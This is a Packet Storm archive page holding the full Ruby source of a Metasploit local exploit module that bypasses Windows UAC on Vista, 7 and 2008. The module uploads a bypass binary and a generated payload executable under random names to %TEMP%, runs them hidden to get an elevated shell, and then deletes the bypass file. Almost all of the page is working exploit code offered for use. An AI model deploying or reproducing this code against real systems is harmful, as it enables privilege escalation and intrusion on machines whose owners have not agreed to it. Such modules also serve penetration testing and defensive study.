what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Windows Escalate UAC Protection Bypass

Windows Escalate UAC Protection Bypass
Posted Oct 6, 2012
Authored by David Kennedy, mitnick, mubix | Site metasploit.com

This Metasploit module will bypass Windows UAC by utilizing the trusted publisher certificate through process injection. It will spawn a second shell that has the UAC flag turned off.

tags | exploit, shell
systems | windows
SHA-256 | 6f5a8c2406a41e33a82abea58ad31e2ab24d2e47c5ad7403b51ed4ce3b1f2ca2

Windows Escalate UAC Protection Bypass

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking

include Post::Common
include Exploit::EXE
include Post::File

def initialize(info={})
super( update_info( info,
'Name' => 'Windows Escalate UAC Protection Bypass',
'Description' => %q{
This module will bypass Windows UAC by utilizing the trusted publisher
certificate through process injection. It will spawn a second shell that
has the UAC flag turned off.
},
'License' => MSF_LICENSE,
'Author' => [
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
'mitnick',
'mubix <mubix[at]hak5.org>' # Port to local exploit
],
'Version' => '$Revision$',
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Windows', {} ] ],
'DefaultTarget' => 0,
'References' => [
[ 'URL', ' http://www.trustedsec.com/december-2010/bypass-windows-uac/' ]
],
'DisclosureDate'=> "Dec 31, 2010"
))

end

def exploit


#
# Verify use against Vista+
#
vuln = false
winver = sysinfo["OS"]
affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ]
affected.each { |v|
if winver.include? v
vuln = true
end
}
if not vuln
print_error("#{winver} is not vulnerable.")
return
end

#
# Generate payload and random names for upload
#
payload = generate_payload_exe

# randomize the bypass_uac_filename
bypass_uac_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"

# randomize the payload exe name
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"

# path to the bypassuac binary
path = ::File.join(Msf::Config.install_root, "data", "post")

# decide, x86 or x64
bpexe = nil
if sysinfo["Architecture"] =~ /wow64/i
bpexe = ::File.join(path, "bypassuac-x64.exe")
else
bpexe = ::File.join(path, "bypassuac-x86.exe")
end

tmpdir = session.fs.file.expand_path("%TEMP%")
cmd = "#{tmpdir}\\#{bypass_uac_filename} /c %TEMP%\\#{payload_filename}"

print_status("Uploading the bypass UAC executable to the filesystem...")

begin
#
# Upload UAC bypass to the filesystem
#
session.fs.file.upload_file("%TEMP%\\#{bypass_uac_filename}", bpexe)
print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..")
#
# Upload the payload to the filesystem
#
tempexe = tmpdir + "\\" + payload_filename
fd = client.fs.file.new(tempexe, "wb")
fd.write(payload)
fd.close
rescue ::Exception => e
print_error("Error uploading file #{bypass_uac_filename}: #{e.class} #{e}")
return
end

print_status("Uploaded the agent to the filesystem....")

# execute the payload
session.sys.process.execute(cmd, nil, {'Hidden' => true})

# delete the uac bypass payload
delete_file = "cmd.exe /c del #{tmpdir}\\#{bypass_uac_filename}"

session.sys.process.execute(delete_file, nil, {'Hidden' => true})
end
end

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close